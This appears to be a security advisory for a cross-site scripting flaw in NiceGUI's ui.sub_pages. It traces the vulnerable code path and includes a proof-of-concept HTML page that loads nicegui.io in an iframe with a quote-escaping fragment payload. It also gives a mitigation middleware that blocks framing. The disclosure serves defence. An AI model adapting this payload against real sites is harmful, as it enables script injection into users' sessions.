An unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe.
The problem is traced as follows:
pushstate, handleStateEvent is executed. https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L38-L39
handleStateEvent emits sub_pages_open event. https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L22-L25
SubPagesRouter (used by ui.sub_pages), lisnening on sub_pages_open, _handle_open runs. https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/subpagesrouter.py#L18-L22
_handle_open finds any SubPages and runs _show() on themhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/subpagesrouter.py#L63-L71
self._handle_scrolling(match, behavior='smooth') directlyhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L76-L100
_handle_scrolling runs _scroll_to_fragment as there is a fragment, which runs vulnerable JS if the fragment (attacker-controlled) escapes out of the quotes. https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L206-L217
Just visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain.
<html>
<body>
<iframe id="myiframe" src="https://nicegui.io" width="100%" height="600px" onload="triggerXSS()"></iframe>
<script>
function triggerXSS() {
if (!myiframe.src.includes("#")) {
myiframe.src = "https://nicegui.io#x');alert(document.domain)//";
}
}
</script>
</body>
</html>
<img width="1429" height="643" alt="image" src="https://github.com/user-attachments/assets/310dbb5c-65d5-44f2-8417-dcf044829bc6" />
Any page which uses ui.sub_pages and does not actively prevent itself from being put in an iframe is affected.
The impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying app via FastAPI methods, and that ui.sub_pages is actively promoted as the new modern way to create Single-Page Applications (SPA).
ui.sub_pages@app.middleware('http')
async def iframe_blocking_middleware(request, call_next):
response = await call_next(request)
response.headers['X-Frame-Options'] = 'DENY'
return response
AI is used safely to judge the CVSS scoring (input is censored).
Please find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma
The scoring done by AI was quite biased. Upon further review it is less dramatic.
{
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-08T20:16:41Z",
"nvd_published_at": "2026-01-08T10:15:55Z",
"severity": "HIGH"
}